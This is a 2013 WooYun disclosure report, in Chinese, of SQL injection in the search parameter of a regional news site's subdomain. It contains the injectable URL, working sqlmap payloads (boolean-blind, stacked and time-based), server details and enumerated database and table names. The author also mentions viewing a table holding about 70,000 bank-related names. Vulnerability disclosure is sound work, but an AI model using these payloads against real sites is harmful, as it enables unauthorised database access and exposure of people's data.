漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-046348
漏洞标题：荆楚网某分站sql注入漏洞
相关厂商：荆楚网
漏洞作者： Brick713
提交时间：2013-12-18 16:55
修复时间：2014-02-01 16:56
公开时间：2014-02-01 16:56
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-12-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-02-01： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
sql注入漏洞，信息量有点吓人
详细说明：
注入点 http://hbtc.cnhubei.com/Search.aspx?key=11%u90095
---
Place: GET
Parameter: key
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: key=11%u90095%' AND 5458=5458 AND '%'='
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: key=11%u90095%'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: key=11%u90095%' WAITFOR DELAY '0:0:5'--
---
7个库
---
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] HBTYCP
[*] master
[*] model
[*] msdb
[*] SLCLoggingDatabase
[*] SLS_JC
[*] tempdb
漏洞证明：
admin 账号 已打码
里面的表 才吓人
web server operating system: Windows Vista
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
Database: HBTYCP
[19 tables]
+-------------------------+
| AdminMember |
| AdminMemberLoginInfo |
| AdminMenus |
| DrawRoundResult |
| FriendLink |
| HighFrequency |
| HighFrequencyClientUser |
| LotteryInfo |
| LotteryInfoDetail |
| LotteryKind |
| News |
| NewsCategory |
| PicNews |
| PicNewsAttach |
| SiteAffiches |
| UpLoadUser |
| UpVideo |
| V_LotteryInfoList |
| sysdiagrams |
+-------------------------+
Database: msdb
[219 tables]
+-----------------------------------------------------------+
| MSdatatype_mappings |
| MSdbms |
| MSdbms_datatype |
| MSdbms_datatype_mapping |
| MSdbms_map |
| backupfile |
| backupfilegroup |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_monitor_alert |
| log_shipping_monitor_error_detail |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary |
| log_shipping_monitor_secondary |
| log_shipping_primaries |
| log_shipping_primary_databases |
| log_shipping_primary_secondaries |
| log_shipping_secondaries |
| log_shipping_secondary |
| log_shipping_secondary_databases |
| logmarkhistory
大量的 银行 信息
试着看了一张银行名字的表
7万多个名字？
赶紧停了 怕查水表 其他的东西 就没往下跑了
修复方案：
过滤吧，赶紧的
版权声明：转载请注明来源 Brick713@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝